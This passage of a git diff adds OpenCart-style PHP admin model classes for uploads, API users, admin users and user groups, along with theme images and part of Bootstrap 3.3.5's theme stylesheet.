+ $implode[] = "name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (!empty($data['filter_filename'])) {
+ $implode[] = "filename LIKE '" . $this->db->escape($data['filter_filename']) . "%'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $implode[] = "date_added = '" . $this->db->escape($data['filter_date_added']) . "%'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $sort_data = array(
+ 'name',
+ 'filename',
+ 'date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY date_added";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalUploads() {
+ $sql = "SELECT COUNT(*) AS total FROM " . DB_PREFIX . "upload";
+
+ $implode = array();
+
+ if (!empty($data['filter_name'])) {
+ $implode[] = "name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (!empty($data['filter_filename'])) {
+ $implode[] = "filename LIKE '" . $this->db->escape($data['filter_filename']) . "%'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $implode[] = "date_added = '" . $this->db->escape($data['filter_date_added']) . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/user/api.php b/public/admin/model/user/api.php
new file mode 100644
index 0000000..194af10
--- /dev/null
+++ b/public/admin/model/user/api.php
@@ -0,0 +1,123 @@
+db->query("INSERT INTO `" . DB_PREFIX . "api` SET username = '" . $this->db->escape($data['username']) . "', `key` = '" . $this->db->escape($data['key']) . "', status = '" . (int)$data['status'] . "', date_added = NOW(), date_modified = NOW()");
+
+ $api_id = $this->db->getLastId();
+
+ if (isset($data['api_ip'])) {
+ foreach ($data['api_ip'] as $ip) {
+ if ($ip) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "api_ip` SET api_id = '" . (int)$api_id . "', ip = '" . $this->db->escape($ip) . "'");
+ }
+ }
+ }
+
+ return $api_id;
+ }
+
+ public function editApi($api_id, $data) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "api` SET username = '" . $this->db->escape($data['username']) . "', `key` = '" . $this->db->escape($data['key']) . "', status = '" . (int)$data['status'] . "', date_modified = NOW() WHERE api_id = '" . (int)$api_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "api_ip WHERE api_id = '" . (int)$api_id . "'");
+
+ if (isset($data['api_ip'])) {
+ foreach ($data['api_ip'] as $ip) {
+ if ($ip) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "api_ip` SET api_id = '" . (int)$api_id . "', ip = '" . $this->db->escape($ip) . "'");
+ }
+ }
+ }
+ }
+
+ public function deleteApi($api_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "api` WHERE api_id = '" . (int)$api_id . "'");
+ }
+
+ public function getApi($api_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "api` WHERE api_id = '" . (int)$api_id . "'");
+
+ return $query->row;
+ }
+
+ public function getApis($data = array()) {
+ $sql = "SELECT * FROM `" . DB_PREFIX . "api`";
+
+ $sort_data = array(
+ 'username',
+ 'status',
+ 'date_added',
+ 'date_modified'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY username";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalApis() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "api`");
+
+ return $query->row['total'];
+ }
+
+ public function addApiIp($api_id, $ip) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "api_ip` SET api_id = '" . (int)$api_id . "', ip = '" . $this->db->escape($ip) . "'");
+ }
+
+ public function getApiIps($api_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "api_ip` WHERE api_id = '" . (int)$api_id . "'");
+
+ return $query->rows;
+ }
+
+ public function addApiSession($api_id, $session_id, $ip) {
+ $api_ip_query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "api_ip` WHERE ip = '" . $this->db->escape($ip) . "'");
+
+ if (!$api_ip_query->num_rows) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "api_ip` SET api_id = '" . (int)$api_id . "', ip = '" . $this->db->escape($ip) . "'");
+ }
+
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "api_session` SET api_id = '" . (int)$api_id . "', session_id = '" . $this->db->escape($session_id) . "', ip = '" . $this->db->escape($ip) . "', date_added = NOW(), date_modified = NOW()");
+
+ return $this->db->getLastId();
+ }
+
+ public function getApiSessions($api_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "api_session` WHERE api_id = '" . (int)$api_id . "'");
+
+ return $query->rows;
+ }
+
+ public function deleteApiSession($api_session_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "api_session` WHERE api_session_id = '" . (int)$api_session_id . "'");
+ }
+
+ public function deleteApiSessionBySessionId($session_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "api_session` WHERE session_id = '" . $this->db->escape($session_id) . "'");
+ }
+}
diff --git a/public/admin/model/user/user.php b/public/admin/model/user/user.php
new file mode 100644
index 0000000..88167c7
--- /dev/null
+++ b/public/admin/model/user/user.php
@@ -0,0 +1,128 @@
+db->query("INSERT INTO `" . DB_PREFIX . "user` SET username = '" . $this->db->escape($data['username']) . "', user_group_id = '" . (int)$data['user_group_id'] . "', salt = '" . $this->db->escape($salt = token(9)) . "', password = '" . $this->db->escape(sha1($salt . sha1($salt . sha1($data['password'])))) . "', firstname = '" . $this->db->escape($data['firstname']) . "', lastname = '" . $this->db->escape($data['lastname']) . "', email = '" . $this->db->escape($data['email']) . "', image = '" . $this->db->escape($data['image']) . "', status = '" . (int)$data['status'] . "', date_added = NOW()");
+
+ return $this->db->getLastId();
+ }
+
+ public function editUser($user_id, $data) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "user` SET username = '" . $this->db->escape($data['username']) . "', user_group_id = '" . (int)$data['user_group_id'] . "', firstname = '" . $this->db->escape($data['firstname']) . "', lastname = '" . $this->db->escape($data['lastname']) . "', email = '" . $this->db->escape($data['email']) . "', image = '" . $this->db->escape($data['image']) . "', status = '" . (int)$data['status'] . "' WHERE user_id = '" . (int)$user_id . "'");
+
+ if ($data['password']) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "user` SET salt = '" . $this->db->escape($salt = token(9)) . "', password = '" . $this->db->escape(sha1($salt . sha1($salt . sha1($data['password'])))) . "' WHERE user_id = '" . (int)$user_id . "'");
+ }
+ }
+
+ public function editPassword($user_id, $password) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "user` SET salt = '" . $this->db->escape($salt = token(9)) . "', password = '" . $this->db->escape(sha1($salt . sha1($salt . sha1($password)))) . "', code = '' WHERE user_id = '" . (int)$user_id . "'");
+ }
+
+ public function editCode($email, $code) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "user` SET code = '" . $this->db->escape($code) . "' WHERE LCASE(email) = '" . $this->db->escape(utf8_strtolower($email)) . "'");
+ }
+
+ public function deleteUser($user_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "user` WHERE user_id = '" . (int)$user_id . "'");
+ }
+
+ public function getUser($user_id) {
+ $query = $this->db->query("SELECT *, (SELECT ug.name FROM `" . DB_PREFIX . "user_group` ug WHERE ug.user_group_id = u.user_group_id) AS user_group FROM `" . DB_PREFIX . "user` u WHERE u.user_id = '" . (int)$user_id . "'");
+
+ return $query->row;
+ }
+
+ public function getUserByUsername($username) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "user` WHERE username = '" . $this->db->escape($username) . "'");
+
+ return $query->row;
+ }
+
+ public function getUserByEmail($email) {
+ $query = $this->db->query("SELECT DISTINCT * FROM `" . DB_PREFIX . "user` WHERE LCASE(email) = '" . $this->db->escape(utf8_strtolower($email)) . "'");
+
+ return $query->row;
+ }
+
+ public function getUserByCode($code) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "user` WHERE code = '" . $this->db->escape($code) . "' AND code != ''");
+
+ return $query->row;
+ }
+
+ public function getUsers($data = array()) {
+ $sql = "SELECT * FROM `" . DB_PREFIX . "user`";
+
+ $sort_data = array(
+ 'username',
+ 'status',
+ 'date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY username";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalUsers() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "user`");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalUsersByGroupId($user_group_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "user` WHERE user_group_id = '" . (int)$user_group_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalUsersByEmail($email) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "user` WHERE LCASE(email) = '" . $this->db->escape(utf8_strtolower($email)) . "'");
+
+ return $query->row['total'];
+ }
+
+ public function addLoginAttempt($username) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "customer_login WHERE email = '" . $this->db->escape(utf8_strtolower((string)$username)) . "' AND ip = '" . $this->db->escape($this->request->server['REMOTE_ADDR']) . "'");
+
+ if (!$query->num_rows) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "customer_login SET email = '" . $this->db->escape(utf8_strtolower((string)$username)) . "', ip = '" . $this->db->escape($this->request->server['REMOTE_ADDR']) . "', total = 1, date_added = '" . $this->db->escape(date('Y-m-d H:i:s')) . "', date_modified = '" . $this->db->escape(date('Y-m-d H:i:s')) . "'");
+ } else {
+ $this->db->query("UPDATE " . DB_PREFIX . "customer_login SET total = (total + 1), date_modified = '" . $this->db->escape(date('Y-m-d H:i:s')) . "' WHERE customer_login_id = '" . (int)$query->row['customer_login_id'] . "'");
+ }
+ }
+
+ public function getLoginAttempts($username) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "customer_login` WHERE email = '" . $this->db->escape(utf8_strtolower($username)) . "'");
+
+ return $query->row;
+ }
+
+ public function deleteLoginAttempts($username) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "customer_login` WHERE email = '" . $this->db->escape(utf8_strtolower($username)) . "'");
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/user/user_group.php b/public/admin/model/user/user_group.php
new file mode 100644
index 0000000..acf2776
--- /dev/null
+++ b/public/admin/model/user/user_group.php
@@ -0,0 +1,85 @@
+db->query("INSERT INTO " . DB_PREFIX . "user_group SET name = '" . $this->db->escape($data['name']) . "', permission = '" . (isset($data['permission']) ? $this->db->escape(json_encode($data['permission'])) : '') . "'");
+
+ return $this->db->getLastId();
+ }
+
+ public function editUserGroup($user_group_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "user_group SET name = '" . $this->db->escape($data['name']) . "', permission = '" . (isset($data['permission']) ? $this->db->escape(json_encode($data['permission'])) : '') . "' WHERE user_group_id = '" . (int)$user_group_id . "'");
+ }
+
+ public function deleteUserGroup($user_group_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "user_group WHERE user_group_id = '" . (int)$user_group_id . "'");
+ }
+
+ public function getUserGroup($user_group_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "user_group WHERE user_group_id = '" . (int)$user_group_id . "'");
+
+ $user_group = array(
+ 'name' => $query->row['name'],
+ 'permission' => json_decode($query->row['permission'], true)
+ );
+
+ return $user_group;
+ }
+
+ public function getUserGroups($data = array()) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "user_group";
+
+ $sql .= " ORDER BY name";
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalUserGroups() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "user_group");
+
+ return $query->row['total'];
+ }
+
+ public function addPermission($user_group_id, $type, $route) {
+ $user_group_query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "user_group WHERE user_group_id = '" . (int)$user_group_id . "'");
+
+ if ($user_group_query->num_rows) {
+ $data = json_decode($user_group_query->row['permission'], true);
+
+ $data[$type][] = $route;
+
+ $this->db->query("UPDATE " . DB_PREFIX . "user_group SET permission = '" . $this->db->escape(json_encode($data)) . "' WHERE user_group_id = '" . (int)$user_group_id . "'");
+ }
+ }
+
+ public function removePermission($user_group_id, $type, $route) {
+ $user_group_query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "user_group WHERE user_group_id = '" . (int)$user_group_id . "'");
+
+ if ($user_group_query->num_rows) {
+ $data = json_decode($user_group_query->row['permission'], true);
+
+ $data[$type] = array_diff($data[$type], array($route));
+
+ $this->db->query("UPDATE " . DB_PREFIX . "user_group SET permission = '" . $this->db->escape(json_encode($data)) . "' WHERE user_group_id = '" . (int)$user_group_id . "'");
+ }
+ }
+}
\ No newline at end of file
diff --git a/public/admin/view/image/advertise/google/ad-preview.png b/public/admin/view/image/advertise/google/ad-preview.png
new file mode 100644
index 0000000..f652d85
Binary files /dev/null and b/public/admin/view/image/advertise/google/ad-preview.png differ
diff --git a/public/admin/view/image/checkmark.png b/public/admin/view/image/checkmark.png
new file mode 100644
index 0000000..ad85a91
Binary files /dev/null and b/public/admin/view/image/checkmark.png differ
diff --git a/public/admin/view/image/export-import/loading.gif b/public/admin/view/image/export-import/loading.gif
new file mode 100644
index 0000000..0241bdd
Binary files /dev/null and b/public/admin/view/image/export-import/loading.gif differ
diff --git a/public/admin/view/image/lightshop/catalog-type1.png b/public/admin/view/image/lightshop/catalog-type1.png
new file mode 100644
index 0000000..7fa2cd3
Binary files /dev/null and b/public/admin/view/image/lightshop/catalog-type1.png differ
diff --git a/public/admin/view/image/lightshop/catalog-type2.png b/public/admin/view/image/lightshop/catalog-type2.png
new file mode 100644
index 0000000..b11a026
Binary files /dev/null and b/public/admin/view/image/lightshop/catalog-type2.png differ
diff --git a/public/admin/view/image/lightshop/footer-type-1.png b/public/admin/view/image/lightshop/footer-type-1.png
new file mode 100644
index 0000000..472c5d2
Binary files /dev/null and b/public/admin/view/image/lightshop/footer-type-1.png differ
diff --git a/public/admin/view/image/lightshop/footer-type-2.png b/public/admin/view/image/lightshop/footer-type-2.png
new file mode 100644
index 0000000..5526b7e
Binary files /dev/null and b/public/admin/view/image/lightshop/footer-type-2.png differ
diff --git a/public/admin/view/image/lightshop/header-type-1.png b/public/admin/view/image/lightshop/header-type-1.png
new file mode 100644
index 0000000..4a23f97
Binary files /dev/null and b/public/admin/view/image/lightshop/header-type-1.png differ
diff --git a/public/admin/view/image/lightshop/header-type-2.png b/public/admin/view/image/lightshop/header-type-2.png
new file mode 100644
index 0000000..cfe2aed
Binary files /dev/null and b/public/admin/view/image/lightshop/header-type-2.png differ
diff --git a/public/admin/view/image/lightshop/header-type-3.png b/public/admin/view/image/lightshop/header-type-3.png
new file mode 100644
index 0000000..fcbd1a9
Binary files /dev/null and b/public/admin/view/image/lightshop/header-type-3.png differ
diff --git a/public/admin/view/image/lightshop/lightshop-logo.png b/public/admin/view/image/lightshop/lightshop-logo.png
new file mode 100644
index 0000000..9ffbb53
Binary files /dev/null and b/public/admin/view/image/lightshop/lightshop-logo.png differ
diff --git a/public/admin/view/image/loader-search.gif b/public/admin/view/image/loader-search.gif
new file mode 100644
index 0000000..7ff1049
Binary files /dev/null and b/public/admin/view/image/loader-search.gif differ
diff --git a/public/admin/view/image/logo.png b/public/admin/view/image/logo.png
new file mode 100644
index 0000000..af7f270
Binary files /dev/null and b/public/admin/view/image/logo.png differ
diff --git a/public/admin/view/javascript/bootstrap/css/bootstrap-theme.css b/public/admin/view/javascript/bootstrap/css/bootstrap-theme.css
new file mode 100644
index 0000000..c19cd5c
--- /dev/null
+++ b/public/admin/view/javascript/bootstrap/css/bootstrap-theme.css
@@ -0,0 +1,587 @@
+/*!
+ * Bootstrap v3.3.5 (http://getbootstrap.com)
+ * Copyright 2011-2015 Twitter, Inc.
+ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+ */
+.btn-default,
+.btn-primary,
+.btn-success,
+.btn-info,
+.btn-warning,
+.btn-danger {
+ text-shadow: 0 -1px 0 rgba(0, 0, 0, .2);
+ -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 1px rgba(0, 0, 0, .075);
+ box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 1px rgba(0, 0, 0, .075);
+}
+.btn-default:active,
+.btn-primary:active,
+.btn-success:active,
+.btn-info:active,
+.btn-warning:active,
+.btn-danger:active,
+.btn-default.active,
+.btn-primary.active,
+.btn-success.active,
+.btn-info.active,
+.btn-warning.active,
+.btn-danger.active {
+ -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);
+ box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);
+}
+.btn-default.disabled,
+.btn-primary.disabled,
+.btn-success.disabled,
+.btn-info.disabled,
+.btn-warning.disabled,
+.btn-danger.disabled,
+.btn-default[disabled],
+.btn-primary[disabled],
+.btn-success[disabled],
+.btn-info[disabled],
+.btn-warning[disabled],
+.btn-danger[disabled],
+fieldset[disabled] .btn-default,
+fieldset[disabled] .btn-primary,
+fieldset[disabled] .btn-success,
+fieldset[disabled] .btn-info,
+fieldset[disabled] .btn-warning,
+fieldset[disabled] .btn-danger {
+ -webkit-box-shadow: none;
+ box-shadow: none;
+}
+.btn-default .badge,
+.btn-primary .badge,
+.btn-success .badge,
+.btn-info .badge,
+.btn-warning .badge,
+.btn-danger .badge {
+ text-shadow: none;
+}
+.btn:active,
+.btn.active {
+ background-image: none;
+}
+.btn-default {
+ text-shadow: 0 1px 0 #fff;
+ background-image: -webkit-linear-gradient(top, #fff 0%, #e0e0e0 100%);
+ background-image: -o-linear-gradient(top, #fff 0%, #e0e0e0 100%);
+ background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#e0e0e0));
+ background-image: linear-gradient(to bottom, #fff 0%, #e0e0e0 100%);
+ filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe0e0e0', GradientType=0);
+ filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
+ background-repeat: repeat-x;
+ border-color: #dbdbdb;
+ border-color: #ccc;
+}
+.btn-default:hover,
+.btn-default:focus {
+ background-color: #e0e0e0;
+ background-position: 0 -15px;
+}
+.btn-default:active,
+.btn-default.active {
+ background-color: #e0e0e0;
+ border-color: #dbdbdb;
+}
+.btn-default.disabled,
+.btn-default[disabled],
+fieldset[disabled] .btn-default,
+.btn-default.disabled:hover,
+.btn-default[disabled]:hover,
+fieldset[disabled] .btn-default:hover,
+.btn-default.disabled:focus,
+.btn-default[disabled]:focus,
+fieldset[disabled] .btn-default:focus,
+.btn-default.disabled.focus,
+.btn-default[disabled].focus,
+fieldset[disabled] .btn-default.focus,
+.btn-default.disabled:active,
+.btn-default[disabled]:active,
+fieldset[disabled] .btn-default:active,
+.btn-default.disabled.active,
+.btn-default[disabled].active,
+fieldset[disabled] .btn-default.active {
+ background-color: #e0e0e0;
+ background-image: none;
+}
+.btn-primary {
+ background-image: -webkit-linear-gradient(top, #337ab7 0%, #265a88 100%);
+ background-image: -o-linear-gradient(top, #337ab7 0%, #265a88 100%);
+ background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#265a88));
+ background-image: linear-gradient(to bottom, #337ab7 0%, #265a88 100%);
+ filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff265a88', GradientType=0);
+ filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
+ background-repeat: repeat-x;
+ border-color: #245580;
+}
+.btn-primary:hover,
+.btn-primary:focus {
+ background-color: #265a88;
+ background-position: 0 -15px;
+}
+.btn-primary:active,
+.btn-primary.active {
+ background-color: #265a88;
+ border-color: #245580;
+}
+.btn-primary.disabled,
+.btn-primary[disabled],
+fieldset[disabled] .btn-primary,
+.btn-primary.disabled:hover,
+.btn-primary[disabled]:hover,
+fieldset[disabled] .btn-primary:hover,
+.btn-primary.disabled:focus,
+.btn-primary[disabled]:focus,
+fieldset[disabled] .btn-primary:focus,
+.btn-primary.disabled.focus,
+.btn-primary[disabled].focus,
+fieldset[disabled] .btn-primary.focus,
+.btn-primary.disabled:active,
+.btn-primary[disabled]:active,
+fieldset[disabled] .btn-primary:active,
+.btn-primary.disabled.active,
+.btn-primary[disabled].active,
+fieldset[disabled] .btn-primary.active {
+ background-color: #265a88;
+ background-image: none;
+}
+.btn-success {
+ background-image: -webkit-linear-gradient(top, #5cb85c 0%, #419641 100%);
+ background-image: -o-linear-gradient(top, #5cb85c 0%, #419641 100%);
+ background-image: -webkit-gradient(linear, left top, left bottom, from(#5cb85c), to(#419641));
+ background-image: linear-gradient(to bottom, #5cb85c 0%, #419641 100%);
+ filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff419641', GradientType=0);
+ filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
+ background-repeat: repeat-x;
+ border-color: #3e8f3e;
+}
+.btn-success:hover,
+.btn-success:focus {
+ background-color: #419641;
+ background-position: 0 -15px;
+}
+.btn-success:active,
+.btn-success.active {
+ background-color: #419641;
+ border-color: #3e8f3e;
+}
+.btn-success.disabled,
+.btn-success[disabled],
+fieldset[disabled] .btn-success,
+.btn-success.disabled:hover,
+.btn-success[disabled]:hover,
+fieldset[disabled] .btn-success:hover,
+.btn-success.disabled:focus,
+.btn-success[disabled]:focus,
+fieldset[disabled] .btn-success:focus,
+.btn-success.disabled.focus,
+.btn-success[disabled].focus,
+fieldset[disabled] .btn-success.focus,
+.btn-success.disabled:active,
+.btn-success[disabled]:active,
+fieldset[disabled] .btn-success:active,
+.btn-success.disabled.active,
+.btn-success[disabled].active,
+fieldset[disabled] .btn-success.active {
+ background-color: #419641;
+ background-image: none;
+}
+.btn-info {
+ background-image: -webkit-linear-gradient(top, #5bc0de 0%, #2aabd2 100%);
+ background-image: -o-linear-gradient(top, #5bc0de 0%, #2aabd2 100%);
+ background-image: -webkit-gradient(linear, left top, left bottom, from(#5bc0de), to(#2aabd2));
+ background-image: linear-gradient(to bottom, #5bc0de 0%, #2aabd2 100%);
+ filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2aabd2', GradientType=0);
+ filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
+ background-repeat: repeat-x;
+ border-color: #28a4c9;
+}
+.btn-info:hover,
+.btn-info:focus {
+ background-color: #2aabd2;
+ background-position: 0 -15px;
+}
+.btn-info:active,
+.btn-info.active {
+ background-color: #2aabd2;
+ border-color: #28a4c9;
+}
+.btn-info.disabled,
+.btn-info[disabled],
+fieldset[disabled] .btn-info,
+.btn-info.disabled:hover,
+.btn-info[disabled]:hover,
+fieldset[disabled] .btn-info:hover,
+.btn-info.disabled:focus,
+.btn-info[disabled]:focus,
+fieldset[disabled] .btn-info:focus,
+.btn-info.disabled.focus,
+.btn-info[disabled].focus,
+fieldset[disabled] .btn-info.focus,
+.btn-info.disabled:active,
+.btn-info[disabled]:active,
+fieldset[disabled] .btn-info:active,
+.btn-info.disabled.active,
+.btn-info[disabled].active,
+fieldset[disabled] .btn-info.active {
+ background-color: #2aabd2;
+ background-image: none;
+}
+.btn-warning {
+ background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #eb9316 100%);
+ background-image: -o-linear-gradient(top, #f0ad4e 0%, #eb9316 100%);
+ background-image: -webkit-gradient(linear, left top, left bottom, from(#f0ad4e), to(#eb9316));
+ background-image: linear-gradient(to bottom, #f0ad4e 0%, #eb9316 100%);
+ filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffeb9316', GradientType=0);
+ filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
+ background-repeat: repeat-x;
+ border-color: #e38d13;
+}
+.btn-warning:hover,
+.btn-warning:focus {
+ background-color: #eb9316;
+ background-position: 0 -15px;
+}
+.btn-warning:active,
+.btn-warning.active {
+ background-color: #eb9316;
+ border-color: #e38d13;
+}
+.btn-warning.disabled,
+.btn-warning[disabled],
+fieldset[disabled] .btn-warning,
+.btn-warning.disabled:hover,
+.btn-warning[disabled]:hover,
+fieldset[disabled] .btn-warning:hover,
+.btn-warning.disabled:focus,
+.btn-warning[disabled]:focus,
+fieldset[disabled] .btn-warning:focus,
+.btn-warning.disabled.focus,
+.btn-warning[disabled].focus,
+fieldset[disabled] .btn-warning.focus,
+.btn-warning.disabled:active,
+.btn-warning[disabled]:active,
+fieldset[disabled] .btn-warning:active,
+.btn-warning.disabled.active,
+.btn-warning[disabled].active,
+fieldset[disabled] .btn-warning.active {
+ background-color: #eb9316;
+ background-image: none;
+}
+.btn-danger {
+ background-image: -webkit-linear-gradient(top, #d9534f 0%, #c12e2a 100%);
+ background-image: -o-linear-gradient(top, #d9534f 0%, #c12e2a 100%);
+ background-image: -webkit-gradient(linear, left top, left bottom, from(#d9534f), to(#c12e2a));
+ background-image: linear-gradient(to bottom, #d9534f 0%, #c12e2a 100%);
+ filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc12e2a', GradientType=0);
+ filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
+ background-repeat: repeat-x;
+ border-color: #b92c28;
+}
+.btn-danger:hover,
+.btn-danger:focus {
+ background-color: #c12e2a;
+ background-position: 0 -15px;
+}
+.btn-danger:active,
+.btn-danger.active {
+ background-color: #c12e2a;
+ border-color: #b92c28;
+}
+.btn-danger.disabled,
+.btn-danger[disabled],
+fieldset[disabled] .btn-danger,
+.btn-danger.disabled:hover,
+.btn-danger[disabled]:hover,
+fieldset[disabled] .btn-danger:hover,
+.btn-danger.disabled:focus,
+.btn-danger[disabled]:focus,
+fieldset[disabled] .btn-danger:focus,
+.btn-danger.disabled.focus,
+.btn-danger[disabled].focus,
+fieldset[disabled] .btn-danger.focus,
+.btn-danger.disabled:active,
+.btn-danger[disabled]:active,
+fieldset[disabled] .btn-danger:active,
+.btn-danger.disabled.active,
+.btn-danger[disabled].active,
+fieldset[disabled] .btn-danger.active {
+ background-color: #c12e2a;
+ background-image: none;
+}
+.thumbnail,
+.img-thumbnail {
+ -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .075);
+ box-shadow: 0 1px 2px rgba(0, 0, 0, .075);
+}
+.dropdown-menu > li > a:hover,
+.dropdown-menu > li > a:focus {
+ background-color: #e8e8e8;
+ background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);
+ background-image: -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);
+ background-image: -webkit-gradient(linear, left top, left bottom, from(#f5f5f5), to(#e8e8e8));
+ background-image: linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%);
+ filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);
+ background-repeat: repeat-x;
+}
+.dropdown-menu > .active > a,
+.dropdown-menu > .active > a:hover,
+.dropdown-menu > .active > a:focus {
+ background-color: #2e6da4;
+ background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%);
+ background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%);
+ background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4));
+ background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%);
